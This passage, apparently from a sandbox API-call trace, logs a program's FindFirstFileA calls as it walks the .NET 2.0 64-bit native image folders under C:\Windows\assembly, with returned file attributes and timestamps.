cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.770] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917259ce, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe0f8140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe0f8140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.774] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63b204e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xe0f8140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe0f8140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.782] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63b204e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xe11e2a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe11e2a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.788] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xba0d731a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe11e2a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe11e2a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.792] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xba0d731a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe11e2a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe11e2a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.797] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdddc465a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe144400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe144400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.802] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdddc465a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe144400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe144400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.807] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x674414e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xe144400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe144400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.813] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x674414e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xe16a560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe16a560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.818] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f1e66f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xe16a560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe16a560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.823] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f1e66f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xe16a560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe16a560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.828] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23ae8343, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe1906c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe1906c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.832] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23ae8343, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe1906c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe1906c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.837] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bb65df7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe1906c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe1906c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.842] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bb65df7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe1b6820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe1b6820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.847] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde912eee, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe1b6820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe1b6820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.854] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde912eee, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe1b6820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe1b6820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.859] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdeab5e11, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe1dc980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe1dc980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.866] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdeab5e11, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe1dc980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe1dc980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.871] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d93036, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe1dc980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe1dc980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.876] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d93036, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe202ae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe202ae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.880] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb00e8bd4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe202ae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe202ae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.886] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb00e8bd4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe202ae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe202ae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.891] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56a27a29, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe228c40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe228c40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.896] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56a27a29, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe228c40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe228c40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.901] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3f3ec67, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe228c40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe228c40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.906] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3f3ec67, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe24eda0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe24eda0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.911] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99cbed84, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe24eda0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe24eda0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.916] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99cbed84, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe24eda0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe24eda0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.921] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c8060, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe274f00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe274f00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.927] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.DataSet#\\56ccdabce54219b23bc4b6477d98b45c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c8060, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe274f00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe274f00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.931] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x158070c1, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe274f00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe274f00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.936] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1582d221, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe29b060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe29b060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.941] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x168d6c40, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe29b060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe29b060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.948] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x168d6c40, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe29b060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe29b060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.955] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6f72a3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2c11c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe2c11c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.961] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6f72a3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2c11c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe2c11c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.967] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf0b15d6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2e7320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe2e7320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.973] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf0b15d6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2e7320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe2e7320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0242.979] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1f0c5f, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe2e7320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe2e7320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0242.986] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e96112d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe30d480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe30d480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 